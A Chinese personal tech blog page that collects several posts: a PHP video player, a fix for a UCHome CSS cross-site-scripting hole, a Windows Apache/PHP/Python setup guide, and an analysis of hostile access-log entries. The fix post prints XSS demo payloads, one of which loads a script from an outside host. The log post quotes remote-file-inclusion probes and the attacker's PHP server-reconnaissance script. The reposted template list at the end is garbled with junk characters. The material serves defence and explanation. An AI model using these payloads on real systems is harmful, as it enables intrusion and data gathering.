今日杂碎:拼啦个PHP的QVOD流媒体播放程序

一共四个文件,电影的地址和名称是和程序播放文件分开存放的,主要是因为没有使用数据库,这样方便添加和修改电影地址与名称信息。

好久没跟代码见过面啦,这一动还真是有趣,特别是使用一些函数而不清楚概念的时候找啊找啊,那种感觉仿佛又回到了在学校逃课跑机房玩Fedora样(瞎折腾,出来校门后就没多少机会玩那个啦,真想XX!)。

这几十行代码是为啦我方便用的,因为数据不多,又不想用啥网猫(netmao),天空网络,马克斯那些“大”程序,就自个来更生几句,难免有疏忽和不尽如人意的地方。。

代码我放Google code,和wiki各一份,地址是:

http://code.google.com/p/qvod-player/

http://wiki.clin003.com/wiki/Php%E7%AE%80%E5%8D%95%E7%94%B5%E5%BD%B1%E6%92%AD%E6%94%BE

mv_simple_play_lan

若有兴趣用,里边有注释,并且代码不复杂,很容易修改的。

修补UCH1.2及1.5测试版的跨站攻击漏洞办法

漏洞说明见:

http://www.discuz.net/viewthread.php?tid=996230

http://www.discuz.net/thread-1000860-1-1.html

影响版本:UCH1.2正式版,及1.5的测试版

漏洞原因:没有对DIY(自定义)风格提交的CSS代码进行有效的检查过滤

漏洞演示代码:

#content {cos:expression(if(!window.x){alert(‘欢迎您的光临! —但愿我没有雷到你’);window.x=1;})}

body { background-image: url(‘javascript:document.write(”<script src=http://bb.clin003.com/js.js></script>”)’)
}

漏洞攻击演示截图:

修补办法(添加过滤检查提交的CSS代码的函数,对CSS代码检测后再提交给系统更新):

第一步:

打开source目录下的cp_theme.php在

$css = getstr($_POST[‘css’], 5000, 1, 1);
$nocss = empty($_POST[‘nocss’])?0:1;

下边

updatetable(‘spacefield’, array(‘theme’=>”, ‘css’=>$css, ‘nocss’=>$nocss), array(‘uid’=>$_SGLOBAL[‘supe_uid’]));
updatetable(‘session’, array(‘nocss’=>$nocss), array(‘uid’=>$_SGLOBAL[‘supe_uid’]));

的上边

添加检查语句:

$css = css_check($css);

第二步:

在cp_theme.php末尾的

?>

前边添加检查自定义的函数代码(过滤之后非法代码将被清空)

//过滤跨站Xss攻击检查函数
function css_check($str)
{
$farr = array(
“/s+/”,
//过滤多余的空白
“/<(/?)(script|i?frame|expression|alert|cos|?|%)([^>]*?)>/isU”,
//过滤 <script alert expression等可能引入恶意内容或恶意改变显示布局的代码
“/(<[^>]*)on[a-zA-Z]+s*=([^>]*>)/isU”,
//过滤javascript的on事件
);
$tarr = array(
” “,
“<\1\2\3>”,           //如果要直接清除不安全的标签,这里可以留空
“\1\2”,
);

$str = preg_replace( $farr,$tarr,$str);
return $str;
}

第三步,你可以根据需要过滤我这里没有列出来的css跨站代码特征,也希望你有新的发现通知偶一声 🙂

搞好的文件我会打包一下,需要的话可以直接下回去

cp_theme

(PS:直接复制文章内容中的代码,若发现不能使用请检查是否有中文全角符号 :0 )

ok,MYBlog:http://clin003.com/

Windows下Apache应用环境塔建

刚刚由于mod_python加载后导致apache自动关闭,还有本来这个测试环境塔建的就相对的乱,所以就卸掉了python mod_python apache php等,重新来过,并且记录下搭建步骤,如果你有兴趣请继续看。

所需软件:

Apache 2.2.9:下载 apache_2.2.9-win32-x86-openssl-0.9.8h-r2.msi (MSI Installer)
php 5.2.6:下载 Windows Binaries – php-5.2.6-Win32.zip package
Python 2.5.2 Windows installer:下载Python 2.5.2
mod_python:下载mod_python 3.3.1,注意要下载 mod_python-3.3.1.win32-py2.5-Apache2.2.exe 文件。
subversion:下载 subversion 1.5.0,建议下载 zip 版 svn-win32-1.5.0.zip。

Dependency Walker 可以查看程序运行所必需的 .dll 文件。安装了 Microsoft Visual C++ 6.0的话,已经有了这个工具。

安装 Apache

运行apache_2.2.9-win32-x86-openssl-0.9.8h-r2.msi,一路next即可,中途需要输入域名,服务器名字,管理员邮箱地址,填写正确就可以(没有域名可以使用ip地址,安装完成后可以还可以修改的),如果仅仅本地测试,域名和服务器名字都可以填为localhost,可以参考图片填写。

安装成功之后打开浏览器,在地址栏中输入 http://localhost/。可以看到测试界面“It works!”(可参考截图),说明安装成功。

Apache安装后

默认安装路径为 C:\Program Files\Apache Software Foundation\Apache2.2\,安装程序会建立一个名为 Apache2.2 的系统服务并自动启动它, 可以通过右键单击我的电脑->管理->服务可以查看到(可参考截图)。

另外,安装结束后系统托盘中会多出一个 Apache 的控制图标(可参考截图), 可以通过它来控制 Apache 的启动与停止。如果你想通过系统服务来控制 Apache 的话,可以从开始菜单->程序->启动中删除Monitor Apache Servers 项,下次启动计算机时就不会启动该图标。

Apache的安装目录含义

bin – Apache的程序文件和库文件(.dll)。
cgi-bin – 网站的脚本的保存位置。
conf – 配置文件。
error – 各种错误页面。
htdocs – 网站的内容。
icons – Apache生成文件列表时使用的各种图标。
include – 程序开发时使用的头文件。
logs – 服务器访问日志和错误日志。
manual – 使用手册。
modules – 扩展模块,其下有许多扩展名为 .so 的文件,实质上都是Windows .dll文件。
其中2.0系列的目录还有

lib – 程序开发时使用的静态库文件。
proxy – 使用Apache作代理时的缓存目录。

修改默认配置

默认情况下网站内容位于 Apache2.2/htdocs 下,如果你不想将网站内容和服务器程序放在一块。可以修改网站内容的位置。

假设网站的静态内容位于 D:\wwwroot\htdocs 下,而脚本程序位于 D:\wwwroot\cgi-bin 下。 首先要建立这两个目录。
之后打开 httpd.conf 文件,找到行:

DocumentRoot “C:/Program Files/Apache Software Foundation/Apache2.2/htdocs”

将其修改成:

DocumentRoot “D:/wwwroot/htdocs”

然后找到这样的内容(各行之间可能夹杂着注释):

<Directory “C:/Program Files/Apache Software Foundation/Apache2.2/htdocs”>
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
</Directory>

这一段是定义网站主目录的权限。我们应当修改主目录的位置。另外,Indexes 权限表示当某个目录下不存在 index.html 文件时,显示该目录的文件列表。实际应用中这会造成安全漏洞,应当将其删除。修改之后的内容如下:

<Directory “D:/wwwroot/htdocs”>
Options FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
</Directory>

然后找到这一行:

ScriptAlias /cgi-bin/ “C:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin/”

将其修改为:

ScriptAlias /cgi-bin/ “D:/wwwroot/cgi-bin/”

再找到这样的内容:

<Directory “C:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin”>
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>

将其修改为:

<Directory “D:/wwwroot/cgi-bin”>
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>

这样配置文件修改完毕。在系统服务中选择 Apache2.2 服务单击“重新启动服务”按钮,或者在系统托盘的Apache图标中选择Restart,或者通过命令行输入以下命令来重新启动 Apache。

C:\> net stop apache2.2
C:\> net start apache2.2
或者
C:\>Apache2.2 -k restart

如果配置文件修改无误,则应当正常重新启动。之后打开浏览器输入 http://localhost/, 你应当看到一条“Forbidden”的错误信息。

Forbidden

You don’t have permission to access / on this server.

建立 D:\wwwroot\htdocs\index.html 文件。再次打开 http://localhost/,应当能看到建立的 index.html 文件的内容。
为了以后安装其他模块,我们应当修改系统变量 PATH 以便其他模块能够找到 Apache 的程序库。在控制面板->系统->高级->环境变量对话框中,编辑系统变量中的 Path,在其最前面添加以下内容:

C:\Program Files\Apache Software Foundation\Apache2.2\bin;

修改之后,建议重新启动计算机以避免不必要的错误。

安装 php 5.2.6

我们将 php 与 Apache 放在一起。将 php-5.2.6-Win32.zip 解压到 Apache2.2\php5 目录下。

php5中的 Apache2.2 模块为 php5apache2_2.dll(注意不是 php5apache2.dll,php5apache2.dll是Apache2.0.x的模块,php5apache.dll是 Apache 1.3.x 的模块)。修改 Apache2.2/conf 目录下的 httpd.conf 以加载 php5 模块。查找 LoadModule,然后在其附近添加以下内容以加载php5模块,并设置 php.ini 的位置。

LoadModule php5_module php5/php5apache2_2.dll
PHPIniDir php5

然后查找AddType,在其附近添加以下内容,以增加 php 的类型。

AddType application/x-httpd-php .php

再查找DirectoryIndex命令,将其修改为以下内容,增加目录的默认文档 index.php。

DirectoryIndex index.html index.html.var index.htm index.php

然后进入 php5 目录,复制 php.ini-dist 文件为 php.ini。然后修改 php.ini,查找 extension_dir,该变量指定了 php 功能模块的位置。将其修改为以下的内容。

extension_dir = “./php5/ext”

注意,这个路径是从 Apache2.2 下开始算起,而不是从 Apache2.2/php5 下开始。

查找 session.save_path,这个变量指定session的保存位置。将其前面的分号去掉,然后修改该行为以下内容:

session.save_path = “C:\Program Files\Apache Software Foundation\Apache2.2\tmp”

然后再apache2.2目录建立tmp文件夹

重新启动 Apache 服务器。测试 php 是否安装成功,在 D:\wwwroot\htdocs 下建立 phpinfo.php 文件,内容如下:

<?php
phpinfo();
?>

打开 http://localhost/phpinfo.php 。若能看到 php 的信息页,即表明php安装成功。

PHP各个目录的作用

dev – 开发用 php 静态库。
ext – php扩展模块。
extras – 相关文件。
PEAR – 访问php模块网站 PEAR 的必要文件。

另外,php目录下的部分文件功能如下。

php.exe – php的命令行解释程序,也可用作 CGI 解释器。
php5apache2.dll – Apache 2.0的PHP模块。
php5apache.dll – Apache 1.3的PHP模块。
php5isapi.dll – Microsoft IIS的PHP模块。
php5nsapi.dll – Netscape Server的PHP模块。
php5ts.dll – PHP及其扩展模所需的库文件。

mysql 支持

php4之前的版本自带mysql,而在php5中,mysql不再默认支持。为了使php5支持mysql,我们需要稍稍修改一下设置。

打开 php5/php.ini 文件,查找下面这一行,并将其前面的注释符号分号 ; 去掉。

extension=php_mysql.dll

将php5 目录下的 php5ts.dll 和 libmysql.dll 复制到 Apache2/bin 下,然后重新启动 Apache2。

php4之前的版本自带mysql,而在php5中,mysql不再默认支持。为了使php5支持mysql, 我们需要稍稍修改一下设置。

php_mysql.dll 需要 php5 目录下的 php5ts.dll 和 libmysql.dll (可以使用 Dependency Walker 打开 php_mysql.dll 查看),但是这两个 DLL 文件既不与 php_mysql.dll 位于同一目录下,也没有和可执行文件Apache.exe 位于同一目录下,因此 php_mysql.dll 找不到这两个DLL,不能启动。

刷新前边打开的页面:http://localhost/phpinfo.php,可以看到页面输出的中部有 mysql 模块的配置,说明 mysql 模块已经正常安装。

安装 python2.5.2

运行python-2.5.2.msi进行安装,默认目录c:\python25\

PS:最后在环境变量里添加Python路径(不然可能导致Apache不能正常加载mod_python)

安装 mod_python

运行mod_python-3.3.1.win32-py2.5-Apache2.2.exe进行安装,安装程序会检测 Python 和 (询问)Apache 的安装路径,并将 mod_python.so 安装至 Apache2.2/modules 目录下。

打开 Apache2.2/conf/httpd.conf,查找 LoadModule,并在其附近添加以下内容。

LoadModule python_module modules/mod_python.so

重新启动 Apache2.2。

打开httpd.conf,在</Directory>后面另起一行添加

Alias /python D:/wwwroot/py

<Directory “D:/wwwroot/htdocs/py”>

Order deny,allow
Allow from all
AllowOverride FileInfo
AddHandler mod_python .py
PythonHandler test
PythonDebug On
</Directory>

如果没有   “Order deny,allow 或 Allow from all” 就可能出现拒绝错误(Forbidden You don’t have permission to access /py/test.py on this server.)

在 d: 下建立 /wwwroot/py 目录,用于存放 .py 文件。

写一个文件来测试一下。在 D:/wwwroot/py下新建文件 test.py(一定要是test啊,错啦就会报错啦)AddHandler mod_python .py意指针对.py文件指定一个Handler。PythonHandler mptest意指Python的Handler是test.py。内容如下:

from mod_python import apache

def handler(req):
req.write(“Hello!”)
return apache.OK

最后:打开浏览器,输入地址 http://localhost/python/test.py,回车。如果页面显示“Hello!”,则说明安装成功,否则在检查一下你的配置。

问题Faq:

如果http.conf里写的PythonHandler 对应的为mptest(经典例子都是这个来的)你的py目录下的测试文件不是mptest.py就会报错啦,刚开始很郁闷呢!报错信息如下

ImportError: No module named mptest

参考文章:
ImportError: No module named mptest :http://www.modpython.org/pipermail/mod_python/2004-October/016576.html

Getting Mod_python Working : http://www.dscpl.com.au/wiki/ModPython/Articles/GettingModPythonWorking

So what Exactly does Mod-python do? :http://modpython.org/live/current/doc-html/tut-what-it-do.html

安装 subversion

subversion是一个优秀的版本控制系统,它能够完整地记录软件开发过程中源代码的变动,并可以随时将源代码恢复到以前的任意版本。subversion的服务器可以单独使用,也可以作为 Apache 的模块,通过 WebDAV 协议使用。

将svn-win32-1.5.0.zip 解压到 d:\svn 下。由于 svn 的 Apache2.2 模块需要 d:\svn\bin 下的 intl3_svn.dll 和 libdb43.dll 文件,所以要在环境变量 Path 中增加下面的内容,并重新启动计算机。

d:\svn\bin;

将 d:\svn\bin 下的 mod_dav_svn.so 文件复制到 Apache2.2/modules 目录下。
打开 Apache2.2/conf/httpd.conf 文件,然后查找下面这一行,去掉其前面的注释符号 # 。

LoadModule dav_module modules/mod_dav.so

查找 LoadModule,并在其附近添加以下内容。

LoadModule dav_svn_module modules/mod_dav_svn.so

最后重新启动 Apache2。

ok,my blog 🙂

很荣幸!竟然有人来检测这个Blog啦

日志里发现的可疑记录:

66.98.140.99 – – [06/Jun/2008:08:52:32 +0800] “GET /map/sitemap.xml/playing.php/common/db.php?commonpath=http://moshow.co.il/language/id.txt? HTTP/1.0” 404 3483 “-” “libwww-perl/5.65”
66.98.140.99 – – [06/Jun/2008:08:52:32 +0800] “GET /playing.php/common/db.php?commonpath=http://moshow.co.il/language/id.txt? HTTP/1.0” 302 592 “-” “libwww-perl/5.65”
66.98.140.99 – – [06/Jun/2008:08:52:36 +0800] “GET /playing.php/common/db.php?commonpath=http://moshow.co.il/language/id.txt? HTTP/1.0” 404 11767 “-” “libwww-perl/5.65”
66.98.140.99 – – [06/Jun/2008:08:52:38 +0800] “GET /map/playing.php/common/db.php?commonpath=http://moshow.co.il/language/id.txt? HTTP/1.0” 302 596 “-” “libwww-perl/5.65”
66.98.140.99 – – [06/Jun/2008:08:52:38 +0800] “GET /map/playing.php/common/db.php?commonpath=http://moshow.co.il/language/id.txt? HTTP/1.0” 404 11771 “-” “libwww-perl/5.65”

去看啦眼那个id.txt文件,是个php的,可能以为这个blog有文件包含漏洞就来试探试探(难道我有符合哪些批量挖掘漏洞的“关键字”页面)?
那个id.txt如果成功执行的话可以探测出:
web服务器系统的名称 版本号 机子名
操作系统类别,比如winnt,linux
系统运行时间
..
程序(本blog)安装目录
Php版本号
web服务器程序版本号getenv(“SERVER_SOFTWARE”);
server-name(服务器名称) $_SERVER[‘SERVER_NAME’];
服务器ip
空闲空间
已经使用的空间
一共的空间

更详细的还是看看他的这个php代码吧

<?php
function ConvertBytes($number)
{
$len = strlen($number);
if($len < 4)
{
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6)
{
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9)
{
return sprintf("%0.2f Mb", $number/1024/1024);
}

return sprintf("%0.2f Gb", $number/1024/1024/1024);

}

echo "kangkung<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "kangkung was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

主页出现问题,貌似虚拟主机服务商限制session

CGI/PHP程序错误: 实际用户ID无法改变!


实际用户ID无法改变!

服务器端配置:
Server Administrator/Contact: [no address given]
Server Name: clin003.com
Server Port: 80
Server Protocol: HTTP/1.1
访问请求数据:
User Agent/Browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Request Method: GET
Remote Address: 218.28.161.254
Remote Port: 2663
顺便截个图来:
CGI/PHP程序错误: 实际用户ID无法改变!

25个顶级PHP模板引擎

原文作者:Justin Silverton
原文链接:Top 25 PHP template engines

为了找到一个好的模板引擎,我在互联网上进行搜索,目前已经整理出了以下名单:PHPChina 开源社区门户e,DuTg7xW)nDrK
SmartyPHPChina 开源社区门户])J+{M;R,O’Lf
Smarty的特点是将模板编译成PHP脚本,然后执行这些脚本。很快,非常灵活。PHPChina 开源社区门户@8Sc#R&zBo0g9[ Continue reading